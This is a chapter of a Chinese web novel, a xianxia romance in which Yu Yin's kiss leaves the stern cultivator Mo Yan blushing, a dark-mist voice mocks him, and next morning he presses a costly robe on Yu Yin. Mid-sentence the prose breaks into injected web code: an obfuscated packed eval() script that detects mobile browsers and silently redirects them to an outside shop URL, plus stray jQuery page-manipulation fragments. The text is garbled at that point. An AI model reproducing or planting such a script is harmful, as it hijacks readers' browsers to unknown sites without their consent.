玉音整个人都懵了。
他原本以为莫衍会暴怒,会掐着他的脖子质问他为什么要亲上来,严重一点的话可能直接一剑把他捅个对穿。
他都做好心理准备了。
结果……莫衍居然脸红了?
玉音瞪大了眼睛,难以置信地看着眼前的场景。
莫衍的耳根红得快要滴血,那抹红色还在不断地蔓延,从耳根到脖颈,从脖颈到喉结,冰冷冷的脸颊也染上了红晕。
他平日里锐利如鹰隼的眼睛此刻竟然有些躲闪,不敢直视玉音的目光,眼神四处乱飘,就是不看他。
玉音:“……?”
他试探性地往前凑了凑,想看清楚莫衍此刻的表情。
莫衍竟然下意识地往后退了一步,和他拉开了距离。
玉音:“???”
他再往前凑一步。
莫衍又往后退了一步。
玉音再凑。
莫衍再退。
两人就这样一个进一个退,在狭小的屋子里绕了小半圈,直到莫衍的后背撞上了墙壁,退无可退。
玉音凑到他面前,近距离地观察他的表情。
莫衍的呼吸明显乱了节奏,目光躲闪得更厉害了。
“你……你离我这么近做什么?”莫衍的声音有些沙哑,慌乱。
玉音心里掀起惊涛骇浪。
不会吧不会吧不会吧?
原著里那个杀伐果断、不近女色也不近男色的男频爽文主角,居然这么纯情的吗?
一个亲嘴就脸红成这样?
那要是再做点别的,岂不是要原地爆炸?
音心里震惊,表面上还是维持着镇定,清了清嗓子,故作自然地说:“我们是夫妻嘛,亲一下不是很正常吗?”
莫衍的耳根又红了几分,喉结上下滚动了一下,半晌才找回自己的声音:
“……不必再亲,我信你就是了。”
他说完这话,像是怕玉音再做出什么惊人之举似的,连忙补充道:“我……我出去练剑。”
玉音愣了一下:“现在?”
“嗯。”
“可是外面太阳那么大,你伤还没好全呢……”玉音有些担忧地看着他。
莫衍却已经快步走到了门口,头也不回地说:“无妨。”
话音刚落,人已经消失在了门外。
玉音站在屋子里,看着空荡荡的门口,半天没回过神来。
他摸了摸自己的嘴唇,回想起刚才那个短暂的触碰,心里涌起一股说不清道不明的感觉。
莫衍的嘴唇很软,带着一丝凉意,和他冷硬的外表完全不同。
玉音甩了甩头,把这些乱七八糟的念头甩出脑海。
算了,不想了。
反正暂时安全了就行。
烈日炎炎,暑气蒸腾。
莫衍快步走在山间小道上,步伐比平时快了几分,像是在逃离什么。
他一路疾行,直到走进深山之中,确认四周无人,才在一处隐蔽的瀑布前停了下来。
瀑布从高处倾泻而下,水花四溅,水汽氤氲,清凉的气息扑面而来,驱散了夏日的燥热。
莫衍站在瀑布边上,任由飞溅的水珠打在身上。
他闭上眼睛,深吸一口气,试图平复内心的躁动。
嘴唇上残留的触感挥之不去。
那个吻……
如此轻柔,短暂,一触即分。
像是一片羽毛轻轻拂过他的唇瓣,带着温热的气息和甜甜的香味。
莫衍的耳根又开始发烫。
他猛地抽出长剑,开始在瀑布下练剑。
剑光如虹,水花四溅。
他一遍又一遍地重复着最基本的剑招,试图用身体的疲惫来压制内心的躁动。
……效果甚微。
那个吻的画面总在他脑海里浮现。
莫衍咬了咬牙,收起长剑,盘膝坐在瀑布边的巨石上,开始默念清心诀。
“心若冰清,天塌不惊,万变犹定,神怡气静……”
清心诀的口诀在心中一遍遍地流转,清凉的灵力顺着经脉缓缓流淌,总算是将那股莫名的躁动压下去了几分。
可耳根的红晕却迟迟不肯消退。
意识灵海里,黑雾已经笑得直打滚。
“哈哈哈哈哈哈,我的天呐!我看到了什么?!堂堂莫衍,未来要飞升成仙的绝世天才,居然被一个小妖怪亲了一口就脸红成这样?!”
莫衍:“闭嘴。”
“我不闭我不闭,太好笑了!你刚才那个样子你知道吗?跟个情窦初开的毛头小子似的,你看看你那耳根子红的!”
莫衍的脸色更难看了:“我说了,闭嘴。”
“哈哈哈好好好我闭嘴我闭嘴……不过说真的,你是不是对那个小雪貂动心了?”
莫衍的眉头紧皱:“……我没有。”
“没有?没有你脸红什么?没有你跑出来练什么剑?没有你念什么清心诀?”
“我只是……”
莫衍顿了顿,声音低沉,“只是被那个小雪貂影响了,他身上的气息有些特殊,应该是雪貂精一族的天赋之术,我一时不慎中了招而已。”
“哦?天赋之术?”
黑雾的声音里充满了促狭的笑意,“那你刚才怎么不推开他?以你的修为,一个小小的练气期妖怪的术法,你随手就能破解吧?”
莫衍沉默了。
“而且啊,”黑雾继续火上浇油,“你给他真心丸的时候,他写的那些奇怪的符号,你真的信了?”
“……他吃了真心丸,说不了谎。”
“那可不一定哦。”
黑雾意味深长地说,“真心丸只能保证他说的是真话,但如果他说的那些话,在他的认知里就是真话呢?如果他被人篡改了记忆呢?如果……”
“够了。”
莫衍打断它,声音冰冷,“我自有判断。”
“行行行,你自有判断。”黑雾嘿嘿笑了两声,“反正我提醒过你了,你自己悠着点吧,别到时候栽在一个小妖怪手里,那可就丢人丢大发了。”
莫衍没有再回应,闭上眼睛,继续默念清心诀。
瀑布的水声轰鸣,水汽弥漫。
他在巨石上坐了整整一夜。
直到天边泛起鱼肚白,他耳根的红晕才彻底消退,内心的躁动也终于平息下来。
第二天清晨。
玉音早早地起了床,伸了个懒腰,感觉精神好了不少。
昨天发生的事情太多了,又是打架又是吃药又是亲嘴的,搞得他身心俱疲,晚上一沾枕头就睡着了,连梦都没做一个。
他洗漱完毕,简单地收拾了一下自己,开始琢磨今天的安排。
刘大富被莫衍教训了一顿之后,应该不敢再来找麻烦了,他在青木镇的处境总算是好了一些。
这一点确实要感谢莫衍。
虽然莫衍这个人性格恶劣冰冷,动不动就要杀人,但不得不承认,有他在身边确实安全了不少。
玉音一边想着,一边盘算着今天的生计问题。
他得尽快找一份稳定的工作才行。
他想了想,觉得去医馆应聘或许是个不错的选择。
他穿过来之后,继承了原主的一些记忆和能力,对草药有一定的了解,这段时间在书斋打工也看了不少医书,谈不上精通,但基本的药理知识还是懂的。
而且他昨天在集市上卖药材的时候,有几个药铺的伙计还夸他药材处理得好呢。
玉音打定主意,背上竹篓准备出门。
他推开门的瞬间,愣住了。
莫衍正站在门口。
他换了一身干净的衣服,依旧是玄色的长袍,衣袂飘飘,衬得他整个人越发挺拔冷峻。
清晨的阳光洒在他身上,在他棱角分明的侧脸上镀上一层柔和的金色光芒,看起来少了几分平时的冷厉,罕见得温润起来。
他的头发还有些湿润,几缕碎发垂下。
玉音看到他,一愣,下意识地露出了一个笑容:“你回来了?练了一晚上的剑?”
莫衍看着他,目光有些复杂。
眼前这个小妖怪穿着一身洗得发白的旧衣裳,背着竹篓,一副要出门的样子。
那张精致的小脸白皙剔透,眉间的一点朱砂痣在阳光下格外醒目。
他笑起来的时候眉眼弯弯,眼睛亮晶晶的,让人看了就觉得心情舒畅。
莫衍的目光在他脸上停留了几秒,移开,声音有些沙哑:“嗯。”
玉音也没多想,自顾自地说:“你回来得正好,我正打算出门呢,昨天刘大富被你教训了一顿,短期内应该不敢再来找我麻烦了,我想去镇上的医馆看看能不能找份工作。”
他说着,就要绕过莫衍往外走。
“等等。”
玉音脚步一顿,回头看向莫衍:“怎么了?”
莫衍沉默了片刻,从储物戒指里取出了一套
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919681|213417||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
衣服,递到玉音面前。
入目是一套月白色的长袍,质地极好,入手温润光滑,隐约有流光转动,一看就不是凡品。
衣袍上用银线绣着繁复的云纹,领口和袖口都镶着精致的滚边,做工精细考究,每一处细节都透露着不凡。
玉音看到这套衣服的第一眼就愣住了。
太好看了。
他前世今生加起来,都没见过这么好看的衣服。
月白色的布料像是月光织成的绸缎,轻盈飘逸,仙气十足。
他能想象出自己穿上这套衣服的样子,白衣胜雪,衣袂飘飘,一定好看极了。
玉音的眼睛都看呆了。
他的手伸到一半,又缩了回去。
“这……这太贵重了,我不能要。”玉音连连摆手,脑袋摇得像拨浪鼓一样。
他虽然很馋这套衣服,但他心里清楚,自己和莫衍的关系并没有好到可以收这么贵重的礼物的地步。
他们之间的“夫妻关系”是他编造出来的谎言,莫衍之所以没有杀他,只是因为暂时相信了他的话。
一旦莫衍恢复记忆,发现他在说谎,等待他的绝对是比死亡更可怕的结局。
在这种情况下,他哪里还敢收莫衍的东西?
这哪里是礼物,分明是买命钱啊!
莫衍见他拒绝,眉头微微皱起:“为何?”
“因为……因为太贵重了。”玉音老老实实地说,“我就是一个穷散修,穿这么好的衣服不合适,万一弄脏了弄破了,我也赔不起……”
“我给你的就是你的,弄脏了也无妨。”莫衍道。
玉音还是摇头:“不行不行,我真的不能要,你帮我赶走刘大富,我已经很感激了,怎么还能收你这么贵重的东西呢?”
莫衍看着他,目光深邃。
他注意到玉音说这些话的时候眼神很真诚,不是那种欲拒还迎的虚伪客套。
明明穷得叮当响,却面对这么一套价值连城的法衣毫不动心,坚持无功不受禄的原则。
莫衍对他的看法又改观了几分。
“拿着。”
莫衍将衣服塞进玉音怀里,语气比之前柔和了几分,“算是昨日对你无礼的补偿。”
玉音愣了一下,想起昨天自己被蒙住眼睛、绑住手腕、强行喂药、含着毛笔写字的经历,心里顿时有些复杂。
原来莫衍也知道自己昨天做得过分了啊。
他还以为这个冷酷无情的龙傲天永远都不会觉得自己有错呢。
玉音抱着那套衣服,犹豫了一下,最终还是没能抵挡住诱惑,小心翼翼地展开衣服看了看。
布料触手生温,轻薄柔软,上面绣着的云纹栩栩如生,仿佛随时会飘动起来。
他越看越喜欢,忍不住拿进屋里,关上门,迫不及待地换上了。
月白色的长袍穿在身上,尺寸竟然刚刚好,像是量身定做的一般。
玉音站在铜镜前,看着镜子里的自己,愣住了。
镜中人白衣胜雪,清丽脱俗。
月白色的衣袍衬得他肤白如玉,眉间的一点朱砂痣在白色的映衬下越发鲜艳夺目,像是画龙点睛之笔,让整张脸都生动了起来。
玉音左看右看,越看越满意。
这套衣服真的太适合他了!跟他上辈子看修仙文幻想的修士一样,帅呆了!
他美滋滋地在镜子前转了好几圈,欣赏着自己穿上新衣服的样子,心里美得冒泡。
欣赏完之后,他又纠结了。
这套衣服实在是太好看了,也太贵重了。
他穿着这么好的衣服出去干活,万一弄脏了弄破了,他得心疼死。
而且医馆的工作免不了要接触药材和病人,万一不小心沾上药渍或者血污,那就更糟了。
玉音想了想,还是依依不舍地把衣服脱了下来,小心翼翼地叠好,放回了桌上。
他重新穿上自己那套洗得发白的旧衣裳,背上竹篓,打开了门。
莫衍还站在门口,看到他出来,目光在他身上扫了一圈,眉头立刻皱了起来。
他看着玉音那张精致的小脸,配上那身寒酸的旧布衣,怎么看怎么不顺眼。
莫衍的声音带着不满:“为何不穿?”
玉音被他突如其来的逼近吓了一跳,下意识地往后退了一步,后背撞在了门框上,“诶?”
莫衍又逼近一步,两人之间的距离近得几乎能感受到彼此的呼吸,“我问你,为何不穿?”